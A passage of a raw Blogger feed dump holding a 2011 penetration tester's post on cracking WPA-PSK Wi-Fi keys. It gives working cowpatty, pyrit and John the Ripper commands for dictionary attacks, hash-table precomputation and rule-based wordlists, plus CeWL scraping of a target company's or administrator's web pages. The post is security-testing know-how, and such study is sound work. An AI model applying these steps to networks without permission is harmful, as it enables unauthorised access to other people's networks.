src='https://blogger.googleusercontent.com/tracker/5948768001255972621-7681615394634496370?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/7681615394634496370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/02/opendlp-pass-hash.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/7681615394634496370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/7681615394634496370'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/02/opendlp-pass-hash.html' title='OpenDLP Pass-The-Hash'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lir93gYvTtw/TUyD0qVqnfI/AAAAAAAAALs/qiJlItTR3bs/s72-c/main.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-2274609355983975289</id><published>2011-01-18T07:47:00.000-08:00</published><updated>2011-05-09T13:31:25.566-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pyrit'/><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='cowpatty'/><category scheme='http://www.blogger.com/atom/ns#' term='wpa'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='jtr'/><title type='text'>WPA JTR/Pyrit/cowpatty uses and cracking interoperability</title><content type='html'>&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;style&gt;@font-face {  font-family: "Wingdings";}@font-face {  font-family: "Cambria";}p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 10pt; font-size: 12pt; font-family: "Times New Roman"; }div.Section1 { page: Section1; }&lt;/style&gt;     &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;style&gt;@font-face {  font-family: "Times";}@font-face {  font-family: "Wingdings";}@font-face {  font-family: "Cambria";}p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 10pt; font-size: 12pt; font-family: "Times New Roman"; }p { margin: 0in 0in 0.0001pt; font-size: 10pt; font-family: "Times New Roman"; }div.Section1 { page: Section1; }&lt;/style&gt;     &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 12pt;"&gt;Below is a bunch of&amp;nbsp; ways to inter-operate between pyrit/cowpatty/jtr with various attacking and exporting techniques. I recently figured these out while having to juggle all kinds of cracking issues. A few weeks ago I was performing a wireless pentest and came up across a rather standard WPA PSK network. However, this came with issues that spawned into learning a bunch of new command line usages for various tools in conjunction with one another.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 12pt;"&gt;For the end goal of a simple WPA key retrieval.&amp;nbsp; The issue I was having which required me to expand my wireless toolset was that programs across various operating systems were behaving differently or just plain not working at all. For example my cracker of choice is generally CowPatty but for some reason and I hope one of the readers on this blog can tell me why, CowPatty was behaving differently between my OSX, Standard Linux distro and my BT4 R2 Vmware.&amp;nbsp; This is also the reason for the last post on GPU CUDA via OSX. So below are various ways to use different programs for WPA cracking related gymnastics of sorts. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;Standard Cracking:&lt;/span&gt;&lt;/b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3d85c6;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Firstly we have our standard way of cracking WPA, we can use CowPatty to determine if we have a handshake and then crack the password.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Check if we have a handshake with –c option:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;cowpatty -r Capture.cap -c -s SSID&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;cowpatty 4.6 - WPA-PSK dictionary attack. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Collected all necessary data to mount crack against WPA/PSK passphrase&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Try to Crack the password:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Now if we are sure we have a valid handshake we can crack the hash with a dictionary file.&amp;nbsp; Using the following cmdline.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;cowpatty -r Capture.cap -f&amp;nbsp; dictionary.txt&amp;nbsp; -s SSID&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Starting dictionary attack.&amp;nbsp; Please be patient.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;key no. 1000: Anglo-spanish&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Unable to identify the PSK from the dictionary file. Try expanding your&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;passphrase list, and double-check the SSID.&amp;nbsp; Sorry it didn't work out.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1786 passphrases tested in 8.04 seconds:&amp;nbsp; &lt;b&gt;222.04 passphrases/second&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;My problem was that CowPatty in anything other then my BT4 r2 vmware was not properly finding the handshake.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;cowpatty -r Capture.cap -c -s SSID&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;End of pcap capture file, incomplete four-way handshake exchange.&amp;nbsp; Try using a&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: x-small;"&gt;different capture.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Hmm CowPatty is misbehaving on my regular machine, which is where I would want to pre-compute hashes and perform my cracking due to more memory and cores available on my primary system. I do not want to crack any passwords inside of a vmware unless its precomputed and I certainly do not want to try to compute hashes on a vmare either. &amp;nbsp;So I decided to check another popular WPA cracking tool Pyrit against the password hash file. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;Using Pyrit for cracking instead:&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;pyrit -r Capture.cap -i dictionary.txt attack_passthrough&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;This command was also failing on every single system for unknown reasons at the time. So I decided I was going to have to use Pyrit to Precompute hashes and then use those precomputed hashes inside of a vmware on cowpatty. Interestingly enough you can export pyrit hashtables in various formats to be used with airolib and cowpatty.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;Pyrit Usage for Hashtables and cracking:&amp;nbsp;&lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Pyrit is extremely useful for a few reasons, most importantly being that you can resume functionality such as creating hashtables if for some reason you have to stop an operation and unplug or shutdown your machine. You can simply quit pyrit like any other program, but pyrit will remember where it left off in its hashtable computing. No need to leave your machine in one place running for hours or days. Simply quit and resume at will. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Create a database of SSID’s for attack:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;Pyrit –e essid&amp;nbsp; create_essid&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Add dictionary words to be hashed:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;Pyrit –i dictionaryFile import_passwords&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;These 2 commands will create a dictionary of SSID and password values used in a standard attack or for precompution of hashtables. Another nice feature of pyrit is that you can keep running the dictionary command to add in as many dictionary files as you have available. Pyrit will remove duplicate entries and will also remove passwords that cannot be used in a WPA protected network such as passwords below 8 characters. This is fantastic, as you won’t waste processor cycles on passwords that are useless. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Create hashtables:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;Pyrit batch&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;The previous command will create hashtables of everything in the database for the given SSID values in the database. At any point during this operation you can quit and resume simply by killing the operation and typing in the previous command again, pyrit will pick up where it left off. Once this is completed you can directly use Pyrit to attack a handshake or in my case pyrit was not recognizing the capture file so I had to export the database in cowpatty format with the following command. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Using pyrit to crack:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;Pyrit –r capture.cap attack_db&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;Exporting different hashtable formats:&amp;nbsp; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;As I stated pyrit cracking didn’t work for me due to complications on the way pyrit parsed the capture file, the pyrit command would fail every time and not recognize the handshake.&amp;nbsp; So I exported the hashtable database for use with cowpatty. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Cowpatty export:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;Pyrit –e essid&amp;nbsp; -o hashes.cow&amp;nbsp; export_cowpatty&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Note that you can also export to airolib format if you prefer using the aircrack suite of tools to do your pre-computed cracking just switch out the export_cowpatty command for the airolib command. Until I got pyrit working correctly I preferred to use cowpatty so I exported to my preferred format. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;CowPatty File Size Issue:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Apparently when using 32 bit systems and hash file sizes over 2 gigs cowpatty will not work. So when I tried to directly attack the WPA PSK with the hashfile I was given an error “Could not stat hashfile.&amp;nbsp; Check file path”. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;cowpatty -r Capture.cap&amp;nbsp; -d hashes.cow –s SSID&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;cowpatty 4.6 - WPA-PSK dictionary attack. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-size: x-small;"&gt;cowpatty: Could not stat hashfile.&amp;nbsp; Check file path&lt;/span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;File Size WorkAround:&lt;/span&gt;&lt;/b&gt;&lt;span style="color: #3d85c6;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;One way around this annoying issue was to pipe your hashfile into the STDIN value of CowPatty by outputting the hashfile with the unix “cat” command. You can do this by specifying the dash character as the input dictionary file in CowPatty. I found this to be very useful for a few reasons I will show next. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;CowPatty with STDIN: &lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;Cat hashes.cow | cowpatty –d - -r capture.cap -s SSID &lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Using the previous command you can bypass the filesize restriction and use precomputed hashfiles of larger sizes &lt;/span&gt;&lt;span style="font-size: 12pt;"&gt;J&lt;/span&gt;&lt;span style="font-size: 12pt;"&gt;&amp;nbsp;&amp;nbsp; But the STDIN can also be used for other cracking methods such as running custom bruteforcing of password files with JTR. By taking a dictionary and running it through the rules option of JTR additional characters such as numbers will be added to each word in your dictionary file. Although this may not be feasible do to the slow nature of password cracking without precomputed hashes, it is an option if dictionary files are not finding the password for you. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;JTR STDOUT with CowPatty STDIN: &lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;In the john directory type: &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;./john --wordlist=wordlist --stdout –rules |cowpatty –f - -r capture.cap -s SSID&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6; font-size: 12pt;"&gt;Custom password list creation: &lt;/span&gt;&lt;/b&gt;&lt;span style="color: #3d85c6;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Another option would be to create a custom password list out of your current password list using JTR rules and then batch them with pyrit shown earlier in this blog post. You can create a custom password list by just using STDOUT to a new password file. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;In the john directory type: &lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;./john --wordlist=dictionary.txt --stdout --rules &amp;gt; newpasslist.txt&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Then add these new passwords to your pyrit dictionary and re-batch the new passwords with the same commands show previously. This may help in situations where users choose passwords such as password4. Which isn’t a dictionary word but is certainly an easy password to guess. &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #674ea7; font-size: 12pt;"&gt;Custom passwords via webpages:&lt;/span&gt;&lt;span style="color: #674ea7;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;You could also create yourself custom passwords lists via scraping the companies website or the system administrators personal webpage’s.&amp;nbsp; Its not to hard to find out who the administrator is, make a few phone calls or check the companies webpage for listings of employees.&amp;nbsp; Once a page is found you can scrape the page for password with a tool by the name of CEWL.&amp;nbsp; Although I don’t condone the use of Ruby you may catch a weird disease or feel really dirty after using it yuuuk ruby, this is a useful tool for creating a custom password list.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;./cewl.rb -d 1 -w passwordList.txt website.com&lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="color: #990000; font-size: 12pt;"&gt;&amp;nbsp; &lt;/span&gt;&lt;span style="color: #990000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin: 0.1pt 0in;"&gt;&lt;span style="font-size: 12pt;"&gt;Cewl will create a custom password list named “passwordList.txt” which you can then run through john to 